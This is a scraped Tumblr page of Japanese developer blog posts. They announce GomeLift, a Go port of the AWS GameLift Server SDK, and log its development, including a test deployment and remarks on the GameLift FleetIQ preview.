自分の環境に対するこだわり(おそらく一般的でない)があって、それをいい感じに満たしてくれるものがないのであれば、作るしかないんだろうなあというところ。やるかー。
1 note · View note
negusema · 4 years
Text
GameLiftのGo用Server SDKを作ってみた
その名もGomeLift。https://github.com/neguse/gomelift
GomeLiftを使うと、Goを使って開発したサーバをGameLiftにデプロイできるようになります。これにより、例えばリアルタイムに通信してゲームの状態を管理するサーバをGoで開発しているケースでは、サーバのスケーリングやマッチメイキングをGameLiftにお任せできるようになります。
現状は、とりあえず公式のServer SDKの機能をほぼまるまる移植して、サンプルが一応動いたという程度の状態です。もし使ってみた方がいましたら、お気軽に感想や要望など、GitHubのIssueや twitter:neguse までご連絡ください。
開発の動機、履歴を追いたい方は以下のログを参照ください。たぶん最初の記事が一番くわしいです。
https://www.neguse.dev/post/190754792208/gamelift%E3%81%AEgo%E7%94%A8server-sdk%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F%E3%81%841
https://www.neguse.dev/post/190858174313/gamelift%E3%81%AEgo%E7%94%A8server-sdk%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F%E3%81%842
https://www.neguse.dev/post/190965430813/gamelift%E3%81%AEgo%E7%94%A8server-sdk%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F%E3%81%843
https://www.neguse.dev/post/612563897674809344/gamelift%E3%81%AEgo%E7%94%A8server-sdk%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F%E3%81%844
https://www.neguse.dev/post/613280040330854400/gamelift%E3%81%AEgo%E7%94%A8server-sdk%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F%E3%81%845
https://www.neguse.dev/post/613911685911248896/gamelift%E3%81%AEgo%E7%94%A8server-sdk%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F%E3%81%846
https://www.neguse.dev/post/614570811455651840/gamelift%E3%81%AEgo%E7%94%A8server-sdk%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F%E3%81%847
なんだかんだで2ヶ月かかってしまったけど、これでようやく次の作業にとりかかれる…
1 note · View note
negusema · 4 years
Text
GameLiftのGo用Server SDKを作ってみたい(7)
Tumblr media
AWSにBuildとしてGomeLift https://github.com/neguse/gomelift を組み込んだサーババイナリをデプロイしてみて、セッション(GameSession, PlayerSession)の管理ができることを確認できた。長かった~~
あとはBackfillだけ試して機能的には一通り完了として、テストに使ったサーバなどのプログラムをサンプルコードとしてコミットして、ドキュメント書けばひとまず完了とできそう
一方、GameLiftにアップデートが来ていて、「GameLift FleetIQ with game server groups 」という機能がプレビュー公開されていたhttps://twitter.com/neguse/status/1245943776893255680
これを使うとServer SDKなしでサーバプロセスをGameLiftに登録できるっぽくて、つまり自分の今までやっていたことは一体…という気分になったりした
1 note · View note